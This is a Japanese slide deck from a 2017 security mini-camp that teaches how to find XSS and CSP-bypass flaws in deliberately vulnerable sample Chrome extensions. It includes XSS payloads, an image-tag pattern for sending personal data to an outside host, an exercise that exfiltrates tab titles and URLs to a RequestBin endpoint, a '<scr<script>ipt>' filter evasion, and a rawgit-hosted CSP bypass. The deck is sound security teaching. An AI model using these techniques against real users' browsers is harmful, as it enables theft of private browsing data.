SlideShare a Scribd company logo
Chrome拡張機能の
脆弱性を探そう!
北陸金沢ミニキャンプ2017
12/3
KageShiron
About this
• 北陸金沢ミニキャンプ2017の講義資料を公開用に再編したもの
です。
• 外部への攻撃や、修正前の脆弱性の公開は違法行為や犯罪行為
となり、目的によらず罰せられる可能性があります。十分に注
意し、わからないことがあれば詳しい人に相談しましょう。
• スライド中で使う資料を以下からダウンロード可能です。
• 予告なく公開を終了する可能性があります。それ以降はお問い合わせ
ください。
• https://goo.gl/fVxxYA
Chromeの拡張機能は便利!
• スクリーンショットから、パスワードの自動入力、広告ブロッ
クまで、多彩な拡張機能が存在
• FirefoxやEdgeでも同じ方式の拡張機能を採用(WebExtension)
• ただし、まだ使える機能にはだいぶ差異がある
• 今回はChromeに絞って説明しますが、FirefoxやEdgeでも同様
のはずです
凡例
• 青 通常のWebページや、Webページの権限のデータのやりと
りなど
• オレンジ 拡張機能ページや、拡張機能の権限のデータのやり
とりなど
拡張機能の特権
• Webサイトなどと同様にJavaScriptで記述可能
• ブラウザの拡張機能は通常のWebサイトにない権限を持っている
• 全てのWebサイト上にあるデータの読み取り、変更
• ブックマークへのアクセス
• タブやウィンドウの操作 などなど
• これにより通常のWebサイト
ではできないような機能を
提供できる
通常のWebサイトにある脆弱性
デジタル大辞泉より
ぜいじゃく‐せい【×脆弱性】
1 もろくて弱い性質または性格。
2 コンピューターネットワークにおける安全上の欠陥。オペ
レーティングシステムやアプリケーションソフトのバグ、開発者
が予期しなかった利用方法などにより、悪意のある第三者によっ
てコンピューターウイルスに感染させられたり、不正アクセスの
被害にあったりするおそれがあること。
XSS(クロスサイトスクリプティング)
予期しない場面でスクリプトが実行されてしまう脆弱性
ようこそ さん!
通常のWebサイトでXSSがあると・・・
• 偽の情報やフォームを設置する
• 怪しいサイトに誘導する
• そのサイトのログイン情報や個人情報が盗まれる!
• SNSなら勝手に投稿される!
• 通販サイトなら無断で注文が実行される!
• 銀行サイトなら不正にお金が送金される!
XSSがあるサイト上で自由にスクリプト
が実行されてしまう!
同一オリジンポリシー(Same Origin Policy)
「オリジン」によって境界を設けて権限が分離されている
オリジンが違う(=別のサイト)の情報を読んだり、操作はできない
SNS
https://sns.test
脆弱な
Webサイト
http://example.com
銀行サイト
https://example.bank
注意:SOPでは送信は防げない
• SOPは「送信」を防ぐ仕組みではない
• XMLHttpRequestなどでは攻撃者のサイトの中身は読めないが、
リクエストは送信される
• Webの原理的に回避方法があるので塞いでも意味がない
• 例 : imgタグのsrcには別オリジンのURLを指定可能
• <img src="http://example.com?個人情報" />
脆弱なサイト 攻撃者のサイト個人情報など
再掲:拡張機能の特権
• Webサイトなどと同様にJavaScriptで記述可能
• ブラウザの拡張機能は通常のWebサイトにない権限を持っている
• 全てのWebサイト上にあるデータの読み取り、変更
• ブックマークへのアクセス
• タブやウィンドウの操作 などなど
ブラウザの拡張機能
SNS
https://sns.test
脆弱な
Webサイト
http://example.com
銀行サイト
https://example.bank
実際に試してみよう
• VulnExtension1
• タブの一覧を左に表示する拡張機能です
• サンプルなのでいろいろ動きが怪しいですが、お気になさらず
• アドレスバーに「chrome://extensions」と打ち込み、拡張機
能管理ページへ。
• 「デベロッパーモード」にチェックを入れて「パッケージ化さ
れていない拡張機能を読み込む」をクリックして、フォルダを
指定することで拡張機能をインストールできます。
Chrome Extensionの読み方
• manifest.jsonを読む
• 拡張機能の情報を設定するファイル
• ここを読めば必要なことが一通りわかる
• https://developer.chrome.com/extensions/manifest
• "permissions" 拡張機能が必要とする権限を定義する
• "tabs" タブを操作する権限。タブのURL、位置、状態、ファビコンな
どにアクセス可能となる。
Chrome Extensionの読み方
• "content_scripts" Webページで実行するスクリプト、CSS
• matches 実行するWebサイト。<all_urls>だと全てのページ
• js,css それぞれ実行するスクリプトと読み込むCSS
• run_at 実行するタイミング
• "background"
• 常に裏で起動しており、拡張機能の特権が使えるページ。コンテント
スクリプトとやりとりを行う。
• ここで得られた情報を元に、コンテントスクリプトや、バック
グラウンドスクリプトを読んでいく。
答:XSSの脆弱性がある
• content.js内
• t.urlやt.titleにタグが埋め込み可能です。Googleで
「<script>alert("hello")</script>」と検索後、別のページを
開いて見ましょう。
• 全てのページでスクリプトが実行されてしまいます。
SNSでも、銀行サイトでも!
var li = $("<li><div class='title '><img src='" + t.favIconUrl + "'>" + t.title + "</div><div
class='url '>" + t.url + "</div></li>");
ブラウザ拡張の脆弱性の問題点
• 個人規模の拡張機能の小さな脆弱性が多くのサイトに影響
• 小さい個人Webサイトであればそこまで気にする必要はなかったのに
• Webサイト側で対処するのが不可能
• Webサイトは拡張機能がない状態を想定して設計しされている
• 仮に脆弱性のある拡張機能があることを知っていても対処は困難
• 責任の所在やどこに通報して良いのか難しい
例えば、脆弱性より不正送金されたら?
銀行
開発者
うちのサイトに脆弱性はないよ
利用規約にある通り
拡張機能の利用は自己責任だよ
修正はするかもしれないけど
脆弱性や不具合の責任まではもたないよ
脆弱性2:タイトルやURLを読み取られる
• タイトルやURLは通常のテキストとしてWebサイトに追加される
• WebページからタブのタイトルやURLを読み取られてしまう
• これは脆弱性と言えるか?
• 脆弱性なら、どんな問題がある?
拡張機能によって
追加された要素
通常のWebページ
http://example.comContent Script タイトル
URL
Webページ側から読み取り可能
拡張機能作者の対策
• 通常のWebサイトと同じ、XSSなどの脆弱性を作り込まない
• 「ユーザーが入力するデータ」「拡張機能のAPIから渡ってく
る情報」には特に注意。意図しない情報が入ってくる危険があ
る。
• 可能な限り余分な権限を使わない
答2:タイトルやURLを読み取られる
• プライバシーの侵害
• 利用者の見ているサイトや検索ワードがバレる
• プライバシーや通信の秘密は重要な権利
• 機密情報が含まれる可能性がある
• URLにセッションIDなどが含まれる
• ユーザー名やメールアドレスが含まれる
• 目的の個人情報があるページを勝手に、または利用者を誘導して開か
せることで比較的容易に個人情報が収集できる
• Gmail→タイトルに自分のメールアドレスが
• Facebook→https://www.facebook.com/profileを開くとタイトルに名前が
実際にデータを読み取ってみよう
• 実際に本来取得できないはずのタイトルやURL(機密情報)を外
部に送信してみます。
① 機密情報の送信先のサイトを用意
② 攻撃ページの用意
③ 攻撃ページのプログラムを記述
①送信先のサイトを用意
• RequestBin
• 飛んできたリクエストを記録してくれるサイト
• https://requestb.in/
1. (念のためPrivateにチェックをつける)
2. Create a RequestBinをクリック
3. 新たなURLが発行される
4. ブラウザとかで後ろに"?SecretInformation"とかをつけてアク
セス
①送信先のサイトを用意
5. 先ほどのページ(URLの後ろに?inspectをつけたもの)を開く
と、アクセスの記録が残る!
6. ここのページに何らかの形でリクエストを投げられれば同様
の方法で外部に機密情報を送信できるということ
②攻撃ページの用意
• 「Web Server for Chrome」は簡単にローカルサーバーを立て
られるChromeアプリです。(自分のホームページを使ったり、
他の手段でローカルサーバを立てても構いません)
1. 事前にインストールしてない方はChrome Web Storeから
「Web Server for Chrome」で検索
2. 適当なフォルダにindex.html
というファイルを作成
3. アプリを起動し、"CHOOSE FOLDER"
からそのフォルダを指定
4. 下のhttp://127.0.0.1:8887を
クリック
③攻撃ページの記述
• 先ほどのindex.htmlにプログラムを書いてみましょう。
RequestBinにタブやURLの情報が表示できれば成功です。
• HTML/JavaScriptが苦手な方は、途中まで埋めたサンプルがあ
るので、それを使ってみてください。(attacksample)
• 拡張機能が挿入するサイドバーのIDなどが必要な場合は
デベロッパーツールを利用して
確認することができます。
④まとめ
• requestb.inにタブの情報が表示されて入れば成功です。
• これと同一の方法で、攻撃者は好きなページに機密情報を送る
ことができてしまいます。
• うまくいかない場合のヒント
• 標準のブラウザで開いてしまう場合がありますが、必ず拡張機能をイ
ンストールしたChromeで開いてください。
• 送信先のURLは "http://requestb.in/xxxxx?機密情報"のよのように、?
が入ります。抜けていないか確認してください。
• この?から後ろはパラメータだよという意味です。例えば、Googleで
検索すると"https://www.google.co.jp/search?q=検索ワード"のよの
ように?の後ろに色々な情報が載っているのがわかります。
安全にデータを埋め込むには
• iframeタグでchrome-extension://のページを埋め込む必要が
ある。
拡張機能のページ
chrome-extension://〜
通常のWebページ
http://example.comContent Script 埋め込み
拡張機能のBackgroundページ
データ(例:URLとタイトル)
同一オリジンポリシーにより
やりとりは認められない
より詳しく学ぶなら
• Google Chromeのリファレンス
• Mozilla Developers Network(MDN)のWebExtensionsのページ
• ブラウザハック(書籍)
• 実際に拡張機能を書いてみる
• 通常のWebのセキュリティと同一の知識
• 実際に脆弱性を探してみる
おまけ:Chromeの拡張機能のダウンロード
• 自身のブラウザにインストール後にその場所を見る
• Windows
• C:Users(ユーザ名)AppDataLocalGoogleChromeUser
DataDefaultExtensions
• Mac
• /Users/(ユーザー名)/Library/Application
Support/Google/Chrome/Default/Extensions
• Chrome extension source viewer
• ストア上の拡張機能の中身を確認できるツール
• crx、zipでのダウンロードも可能
• ググるとダウンロードできるサイトもある
• crxはzipにヘッダーをつけたもの。解凍はフリーソフトの7zip
でできることを確認
追加スライド CSP
• 当日は駆け足の説明となってしまいました
拡張機能のページ
chrome-extension://〜
通常のWebページ
http://example.comContent Script
タブ(http://example.com)
コンテントスクリプトや埋め込みiframeの中では拡張機能内
のやりとりと、同一オリジンポリシーの無視などの特権が与
えられている。
拡張機能の特権(制限付き)
拡張機能の特権(制限なし)
一方で、バックグラウンドページやポップアップ、拡張機能のタブで
はmanifest.jsonのpermissionに指定することでより強い特権が利用で
きる
タブの操作、ブックマークの操作、通信の傍受・書き換え...etc
ここに脆弱性があったら?
拡張機能のページ
chrome-extension://〜
ポップアップ
拡張機能のページ
chrome-extension://〜
バックグラウンドページ
拡張機能のページ
chrome-extension://〜
拡張機能のタブ
実際に確認して見る
• Googleなどで<>bold!</b><script>alert("hello!")</script>な
どと検索。通常のWebサイトではhello!というアラートが表示
されてしまう。
• 先ほどの拡張機能にはtest.htmlというページがあるのでそこを
開く
• chrome-extension://拡張機能ID/test.html
• 拡張機能IDはChromeの拡張機能管理ページから確認可能です。
• ここではbold!は太字になっているのに、スクリプトは実行さ
れない
• merqueeタグを使うとわかりやすい
Content Security Policy(CSP)に守られた!
• デベロッパーツールに以下のようなログがある
• CSPの指定にないスクリプトの実行は許可されない
• おかげで特権ページが乗っ取られ、任意のスクリプトが実行さ
れる事態は防げた。
Content Security Policy
• Content Security Policy(CSP)はXSSなどの攻撃からWebサイ
トや拡張機能を守るための機構
• 標準では同じ拡張機能内に含まれるjsファイルを<script
src="script.js"></script>のように指定した場合のみ実行可能
• X 別のオリジンにあるファイル(例:http://example.com/script.js)
• X <script>alert("hello!")</script>のようにページ中に埋め込まれた
スクリプト
• これにより、単純なXSSの被害の緩和が期待できる
CSPは緩められる
• この制限は安全だけどかなり厳しくてうざい
• 一番制限を強めるとCSS、スクリプト、画像、動画なんかも一切読み
込み不能になる
• Chrome Extensionの標準ではスクリプトとオブジェクト(Flashなど)
のみが指定されている。
• 制限を緩めたい
• Webサイトを拡張機能として移植したい(scriptタグが含まれる)
• 外部においてあるスクリプトを読み込みたい
• トラッキングや広告の表示にスクリプトが必要
→ manifest.jsonに記述することで可能
→セキュリティ機構を緩める以上、当然危険も・・・
実際に脆弱性を試して見る
• Vuln-Extension2
• chrome-extension://拡張機能ID/popup.html
• 検索機能つきのセキュリティミニキャンプの一覧表です。
• まず脆弱性を探してみましょう。
• スクリプトはCSPによって実行できないはずです。
<marquee>test</marquee>などを挿入できれば、testという文字が
流れて脆弱性の存在が確認できます。
脆弱性
• エスケープされていないので、またタグを挿入できます。
• 検索欄に<maruqee>test</marquee>とか入れれば確認可能
• ただ、これだけだとユーザーの入力を伴うので脆弱性としては
ちょっと乏しい
//検索しました!を表示
$("#search-result").html(text + "を検索しました!");
脆弱性
• URLにpopup.html#<mareuqee>test</marquee>のように指
定されるとそれが検索窓に入る
• 普通Webページのリンクからは拡張機能のページを開けませんが、他
の脆弱性によって回避される可能性がしばしばあります。
// 「popup.html#金沢」のように開くと、「金沢」の部分だけ取得
var search = location.hash.substring(1);
// <script>タグっぽいものを削除する
search = search.replace(/<script.*?>/g,"");
$("#search-text").val(search);//検索ボックスに入れる
$("#search-button").click();//クリック
<script>を除去しようとしているが・・・
• search.replace(/<script.*?>/g,"");のようにして、<script>っ
ぽいものを除去しようとしていますが、これは逆効果です。
"<scr<script>ipt >"を除去すると、"<script>"になってしまい
ます。
• ミニキャンプ当日は入れてなかったのですが、Google Chrome
は標準のXSSフィルターという機能で、XSSっぽいものの除去
を試みます。それを回避するために追加しました。
• 詳細は「XSSフィルター」で検索してみてください。今回は詳
しくは述べません。
CSPのバイパス
• manifest.jsonに上記の指定がある。scriptタグの読み込み先を
以下に限定
• 'self'(拡張自信内部)
• ' https://cdn.rawgit.com'(GitHubを利用したCDN)
• popup.htmlを見ると、jQueryをGithub gistから読み込んでいる
ことがわかる
"content_security_policy":
"script-src 'self' https://cdn.rawgit.com; object-src 'self'"
自分でも任意のファイルを
Github上で公開可能
実際に攻撃を行ってみよう
• (1)gistに任意のスクリプトを記述する。
• https://gist.github.com
• (gistはログイン不要だが、どうやらrawgitはログインユーザーしか対
応してないらしい)
• (2)RawGitでCSP内で実行できるスクリプトを記述する
• https://rawgit.com/
• (3)<script src="先ほどのファイル"></script>と拡張機能の検
索欄に入れて、スクリプトが実行されることを確認しよう
例
• この拡張機能では、tabs、bookmarks、<all_urls>の権限が与
えられています。
• 上の例は最近使ったブックマークを1つ表示。
• https://cdn.rawgit.com/KageShiron/dcff92d89453bea8c20a2
ff2e17aa58f/raw/01c528a2efd2fbcfc903cdaef67cf3cfbdafea4
a/csp-bypass.js
chrome.bookmarks.getRecent(1,function(x){
alert(x[0].title);
});
例:
• 拡張機能のページで上のように検索して見ると、CSPをバイパ
スし、アラートが表示されることがわかります。
• URLからアクセスする場合は、#以下を下記に
• #<scr<script>ipt
src="https://c<script>dn.rawgit.com/KageShiron/dcff92d89453bea
8c20a2ff2e17aa58f/raw/01c528a2efd2fbcfc903cdaef67cf3cfbdafea4
a/csp-bypass.js"></script>
<script
src="https://cdn.rawgit.com/KageShiron/dcff92d89453bea8c20a2
ff2e17aa58f/raw/01c528a2efd2fbcfc903cdaef67cf3cfbdafea4a/cs
p-bypass.js"></script>

More Related Content

What's hot

JenkinsのAWS連携
JenkinsのAWS連携JenkinsのAWS連携
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
Frans Rosén
 
SSRF exploit the trust relationship
SSRF exploit the trust relationshipSSRF exploit the trust relationship
SSRF exploit the trust relationship
n|u - The Open Security Community
 
とある診断員とAWS
とある診断員とAWSとある診断員とAWS
とある診断員とAWS
zaki4649
 
Redmineカスタムフィールド表示改善
Redmineカスタムフィールド表示改善Redmineカスタムフィールド表示改善
Redmineカスタムフィールド表示改善
Yuuki Nara
 
DNS hijacking using cloud providers – No verification needed
DNS hijacking using cloud providers – No verification neededDNS hijacking using cloud providers – No verification needed
DNS hijacking using cloud providers – No verification needed
Frans Rosén
 
View Customize Pluginで出来ること
View Customize Pluginで出来ることView Customize Pluginで出来ること
View Customize Pluginで出来ること
onozaty
 
ゲームのインフラをAwsで実戦tips全て見せます
ゲームのインフラをAwsで実戦tips全て見せますゲームのインフラをAwsで実戦tips全て見せます
ゲームのインフラをAwsで実戦tips全て見せます
infinite_loop
 
【Unity道場】使って覚えるTileMap
【Unity道場】使って覚えるTileMap【Unity道場】使って覚えるTileMap
【Unity道場】使って覚えるTileMap
Unity Technologies Japan K.K.
 
SPAと覚悟
SPAと覚悟SPAと覚悟
SPAと覚悟
Teppei Sato
 
WordPressのCDN化
WordPressのCDN化WordPressのCDN化
WordPressのCDN化
J-Stream Inc.
 
OpenAPI 3.0でmicroserviceのAPI定義を試みてハマった話
OpenAPI 3.0でmicroserviceのAPI定義を試みてハマった話OpenAPI 3.0でmicroserviceのAPI定義を試みてハマった話
OpenAPI 3.0でmicroserviceのAPI定義を試みてハマった話
Daichi Koike
 
【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話
【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話
【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話
Hibino Hisashi
 
文字コードに起因する脆弱性とその対策(増補版)
文字コードに起因する脆弱性とその対策(増補版)文字コードに起因する脆弱性とその対策(増補版)
文字コードに起因する脆弱性とその対策(増補版)
Hiroshi Tokumaru
 
Live Hacking like a MVH – A walkthrough on methodology and strategies to win big
Live Hacking like a MVH – A walkthrough on methodology and strategies to win bigLive Hacking like a MVH – A walkthrough on methodology and strategies to win big
Live Hacking like a MVH – A walkthrough on methodology and strategies to win big
Frans Rosén
 
View customize plugin for Redmineの紹介 (2019年版)
View customize plugin for Redmineの紹介 (2019年版)View customize plugin for Redmineの紹介 (2019年版)
View customize plugin for Redmineの紹介 (2019年版)
onozaty
 
anyenv + phpenv + php-build が便利すぎる件
anyenv + phpenv + php-build が便利すぎる件anyenv + phpenv + php-build が便利すぎる件
anyenv + phpenv + php-build が便利すぎる件
y-uti
 
ETWest2009講演資料「TestLinkでアジャイルにテストする」
ETWest2009講演資料「TestLinkでアジャイルにテストする」ETWest2009講演資料「TestLinkでアジャイルにテストする」
ETWest2009講演資料「TestLinkでアジャイルにテストする」
akipii ogaoga
 
JAWS-UG CLI #26 LT - AWSアカウントに秘密の質問を設定する必要はあるのか?
JAWS-UG CLI #26 LT - AWSアカウントに秘密の質問を設定する必要はあるのか?JAWS-UG CLI #26 LT - AWSアカウントに秘密の質問を設定する必要はあるのか?
JAWS-UG CLI #26 LT - AWSアカウントに秘密の質問を設定する必要はあるのか?
Nobuhiro Nakayama
 
Core Web Vitals - Why You Need to Pay Attention
Core Web Vitals - Why You Need to Pay AttentionCore Web Vitals - Why You Need to Pay Attention
Core Web Vitals - Why You Need to Pay Attention
TAC Marketing Group
 

What's hot (20)

JenkinsのAWS連携
JenkinsのAWS連携JenkinsのAWS連携
JenkinsのAWS連携
 
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
 
SSRF exploit the trust relationship
SSRF exploit the trust relationshipSSRF exploit the trust relationship
SSRF exploit the trust relationship
 
とある診断員とAWS
とある診断員とAWSとある診断員とAWS
とある診断員とAWS
 
Redmineカスタムフィールド表示改善
Redmineカスタムフィールド表示改善Redmineカスタムフィールド表示改善
Redmineカスタムフィールド表示改善
 
DNS hijacking using cloud providers – No verification needed
DNS hijacking using cloud providers – No verification neededDNS hijacking using cloud providers – No verification needed
DNS hijacking using cloud providers – No verification needed
 
View Customize Pluginで出来ること
View Customize Pluginで出来ることView Customize Pluginで出来ること
View Customize Pluginで出来ること
 
ゲームのインフラをAwsで実戦tips全て見せます
ゲームのインフラをAwsで実戦tips全て見せますゲームのインフラをAwsで実戦tips全て見せます
ゲームのインフラをAwsで実戦tips全て見せます
 
【Unity道場】使って覚えるTileMap
【Unity道場】使って覚えるTileMap【Unity道場】使って覚えるTileMap
【Unity道場】使って覚えるTileMap
 
SPAと覚悟
SPAと覚悟SPAと覚悟
SPAと覚悟
 
WordPressのCDN化
WordPressのCDN化WordPressのCDN化
WordPressのCDN化
 
OpenAPI 3.0でmicroserviceのAPI定義を試みてハマった話
OpenAPI 3.0でmicroserviceのAPI定義を試みてハマった話OpenAPI 3.0でmicroserviceのAPI定義を試みてハマった話
OpenAPI 3.0でmicroserviceのAPI定義を試みてハマった話
 
【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話
【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話
【DeepSecurityUserNight】我が家の箱入り娘を世間に晒すのは危険なのでDeepSecurityに見守ってもらった話
 
文字コードに起因する脆弱性とその対策(増補版)
文字コードに起因する脆弱性とその対策(増補版)文字コードに起因する脆弱性とその対策(増補版)
文字コードに起因する脆弱性とその対策(増補版)
 
Live Hacking like a MVH – A walkthrough on methodology and strategies to win big
Live Hacking like a MVH – A walkthrough on methodology and strategies to win bigLive Hacking like a MVH – A walkthrough on methodology and strategies to win big
Live Hacking like a MVH – A walkthrough on methodology and strategies to win big
 
View customize plugin for Redmineの紹介 (2019年版)
View customize plugin for Redmineの紹介 (2019年版)View customize plugin for Redmineの紹介 (2019年版)
View customize plugin for Redmineの紹介 (2019年版)
 
anyenv + phpenv + php-build が便利すぎる件
anyenv + phpenv + php-build が便利すぎる件anyenv + phpenv + php-build が便利すぎる件
anyenv + phpenv + php-build が便利すぎる件
 
ETWest2009講演資料「TestLinkでアジャイルにテストする」
ETWest2009講演資料「TestLinkでアジャイルにテストする」ETWest2009講演資料「TestLinkでアジャイルにテストする」
ETWest2009講演資料「TestLinkでアジャイルにテストする」
 
JAWS-UG CLI #26 LT - AWSアカウントに秘密の質問を設定する必要はあるのか?
JAWS-UG CLI #26 LT - AWSアカウントに秘密の質問を設定する必要はあるのか?JAWS-UG CLI #26 LT - AWSアカウントに秘密の質問を設定する必要はあるのか?
JAWS-UG CLI #26 LT - AWSアカウントに秘密の質問を設定する必要はあるのか?
 
Core Web Vitals - Why You Need to Pay Attention
Core Web Vitals - Why You Need to Pay AttentionCore Web Vitals - Why You Need to Pay Attention
Core Web Vitals - Why You Need to Pay Attention
 

Similar to Chrome拡張機能の脆弱性を探そう!

Chromeでストレージ永続化を実現するには
Chromeでストレージ永続化を実現するにはChromeでストレージ永続化を実現するには
Chromeでストレージ永続化を実現するには
goccy
 
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみた
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみたFirefox OS パッケージ型アプリ インストールの仕組みを調べてみた
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみた
Muneaki Nishimura
 
第2回 Framgia × LOUPE 勉強会 「Chrome Extensionいじってみた話」
第2回 Framgia × LOUPE 勉強会 「Chrome Extensionいじってみた話」第2回 Framgia × LOUPE 勉強会 「Chrome Extensionいじってみた話」
第2回 Framgia × LOUPE 勉強会 「Chrome Extensionいじってみた話」
Takuya Mukohira
 
Androidのセキュア開発について考えてみた(明日、敗訴しないためのセキュアコーディング.ver2)
Androidのセキュア開発について考えてみた(明日、敗訴しないためのセキュアコーディング.ver2)Androidのセキュア開発について考えてみた(明日、敗訴しないためのセキュアコーディング.ver2)
Androidのセキュア開発について考えてみた(明日、敗訴しないためのセキュアコーディング.ver2)
Kengo Suzuki
 
ATNDに下書き保存とプレビューを追加するATND Draft
ATNDに下書き保存とプレビューを追加するATND Draft ATNDに下書き保存とプレビューを追加するATND Draft
ATNDに下書き保存とプレビューを追加するATND Draft
Atsuhiko Kimura
 
Fx OS n2_aoitan_firefox osことはじめ
Fx OS n2_aoitan_firefox osことはじめFx OS n2_aoitan_firefox osことはじめ
Fx OS n2_aoitan_firefox osことはじめ
Masami Yabushita
 
[デブサミ2012]趣味と実益の脆弱性発見
[デブサミ2012]趣味と実益の脆弱性発見[デブサミ2012]趣味と実益の脆弱性発見
[デブサミ2012]趣味と実益の脆弱性発見
Yosuke HASEGAWA
 
Secret of Firefox
Secret of FirefoxSecret of Firefox
Secret of Firefox
dynamis
 
JAZUG 4周年総会 「トラブルから学ぶAzure世渡り術」
JAZUG 4周年総会 「トラブルから学ぶAzure世渡り術」JAZUG 4周年総会 「トラブルから学ぶAzure世渡り術」
JAZUG 4周年総会 「トラブルから学ぶAzure世渡り術」
Yui Ashikaga
 
情報セキュリティCAS 第三十六回放送用スライド
情報セキュリティCAS 第三十六回放送用スライド情報セキュリティCAS 第三十六回放送用スライド
情報セキュリティCAS 第三十六回放送用スライド
Kumasan, LLC.
 
SugarCRM meets FreeHosting
SugarCRM meets FreeHostingSugarCRM meets FreeHosting
SugarCRM meets FreeHosting
Toshiya TSURU
 
2017/02/04 WrodBench倉敷 第一回勉強会 StaticPress+S3で安全で落ちないサイトを作ろう
2017/02/04 WrodBench倉敷 第一回勉強会 StaticPress+S3で安全で落ちないサイトを作ろう2017/02/04 WrodBench倉敷 第一回勉強会 StaticPress+S3で安全で落ちないサイトを作ろう
2017/02/04 WrodBench倉敷 第一回勉強会 StaticPress+S3で安全で落ちないサイトを作ろう
Takeshi Furusato
 
Up ai wolfプレゼン資料
Up ai wolfプレゼン資料Up ai wolfプレゼン資料
Up ai wolfプレゼン資料
Takanori Fukui
 
はじめての concrete5 でウェブサイト作成〜入門チュートリアルガイド
はじめての concrete5 でウェブサイト作成〜入門チュートリアルガイドはじめての concrete5 でウェブサイト作成〜入門チュートリアルガイド
はじめての concrete5 でウェブサイト作成〜入門チュートリアルガイド
Hishikawa Takuro
 
Movable type seminar 20120703
Movable type seminar 20120703Movable type seminar 20120703
Movable type seminar 20120703
Six Apart
 
About share info
About share infoAbout share info
About share info
coolwarekyoto
 
情報セキュリティCAS 第五十三回放送用スライド
情報セキュリティCAS 第五十三回放送用スライド情報セキュリティCAS 第五十三回放送用スライド
情報セキュリティCAS 第五十三回放送用スライド
Kumasan, LLC.
 
20121112 jaws-ug sapporo8
20121112 jaws-ug sapporo820121112 jaws-ug sapporo8
20121112 jaws-ug sapporo8
Hirokazu Ouchi
 
AWSでアプリ開発するなら 知っておくべこと
AWSでアプリ開発するなら 知っておくべことAWSでアプリ開発するなら 知っておくべこと
AWSでアプリ開発するなら 知っておくべこと
Keisuke Nishitani
 

Similar to Chrome拡張機能の脆弱性を探そう! (20)

Chromeでストレージ永続化を実現するには
Chromeでストレージ永続化を実現するにはChromeでストレージ永続化を実現するには
Chromeでストレージ永続化を実現するには
 
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみた
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみたFirefox OS パッケージ型アプリ インストールの仕組みを調べてみた
Firefox OS パッケージ型アプリ インストールの仕組みを調べてみた
 
第2回 Framgia × LOUPE 勉強会 「Chrome Extensionいじってみた話」
第2回 Framgia × LOUPE 勉強会 「Chrome Extensionいじってみた話」第2回 Framgia × LOUPE 勉強会 「Chrome Extensionいじってみた話」
第2回 Framgia × LOUPE 勉強会 「Chrome Extensionいじってみた話」
 
20140409勉強会
20140409勉強会20140409勉強会
20140409勉強会
 
Androidのセキュア開発について考えてみた(明日、敗訴しないためのセキュアコーディング.ver2)
Androidのセキュア開発について考えてみた(明日、敗訴しないためのセキュアコーディング.ver2)Androidのセキュア開発について考えてみた(明日、敗訴しないためのセキュアコーディング.ver2)
Androidのセキュア開発について考えてみた(明日、敗訴しないためのセキュアコーディング.ver2)
 
ATNDに下書き保存とプレビューを追加するATND Draft
ATNDに下書き保存とプレビューを追加するATND Draft ATNDに下書き保存とプレビューを追加するATND Draft
ATNDに下書き保存とプレビューを追加するATND Draft
 
Fx OS n2_aoitan_firefox osことはじめ
Fx OS n2_aoitan_firefox osことはじめFx OS n2_aoitan_firefox osことはじめ
Fx OS n2_aoitan_firefox osことはじめ
 
[デブサミ2012]趣味と実益の脆弱性発見
[デブサミ2012]趣味と実益の脆弱性発見[デブサミ2012]趣味と実益の脆弱性発見
[デブサミ2012]趣味と実益の脆弱性発見
 
Secret of Firefox
Secret of FirefoxSecret of Firefox
Secret of Firefox
 
JAZUG 4周年総会 「トラブルから学ぶAzure世渡り術」
JAZUG 4周年総会 「トラブルから学ぶAzure世渡り術」JAZUG 4周年総会 「トラブルから学ぶAzure世渡り術」
JAZUG 4周年総会 「トラブルから学ぶAzure世渡り術」
 
情報セキュリティCAS 第三十六回放送用スライド
情報セキュリティCAS 第三十六回放送用スライド情報セキュリティCAS 第三十六回放送用スライド
情報セキュリティCAS 第三十六回放送用スライド
 
SugarCRM meets FreeHosting
SugarCRM meets FreeHostingSugarCRM meets FreeHosting
SugarCRM meets FreeHosting
 
2017/02/04 WrodBench倉敷 第一回勉強会 StaticPress+S3で安全で落ちないサイトを作ろう
2017/02/04 WrodBench倉敷 第一回勉強会 StaticPress+S3で安全で落ちないサイトを作ろう2017/02/04 WrodBench倉敷 第一回勉強会 StaticPress+S3で安全で落ちないサイトを作ろう
2017/02/04 WrodBench倉敷 第一回勉強会 StaticPress+S3で安全で落ちないサイトを作ろう
 
Up ai wolfプレゼン資料
Up ai wolfプレゼン資料Up ai wolfプレゼン資料
Up ai wolfプレゼン資料
 
はじめての concrete5 でウェブサイト作成〜入門チュートリアルガイド
はじめての concrete5 でウェブサイト作成〜入門チュートリアルガイドはじめての concrete5 でウェブサイト作成〜入門チュートリアルガイド
はじめての concrete5 でウェブサイト作成〜入門チュートリアルガイド
 
Movable type seminar 20120703
Movable type seminar 20120703Movable type seminar 20120703
Movable type seminar 20120703
 
About share info
About share infoAbout share info
About share info
 
情報セキュリティCAS 第五十三回放送用スライド
情報セキュリティCAS 第五十三回放送用スライド情報セキュリティCAS 第五十三回放送用スライド
情報セキュリティCAS 第五十三回放送用スライド
 
20121112 jaws-ug sapporo8
20121112 jaws-ug sapporo820121112 jaws-ug sapporo8
20121112 jaws-ug sapporo8
 
AWSでアプリ開発するなら 知っておくべこと
AWSでアプリ開発するなら 知っておくべことAWSでアプリ開発するなら 知っておくべこと
AWSでアプリ開発するなら 知っておくべこと
 

More from KageShiron

OpenWRTとIPv6で高速インターネット!
OpenWRTとIPv6で高速インターネット!OpenWRTとIPv6で高速インターネット!
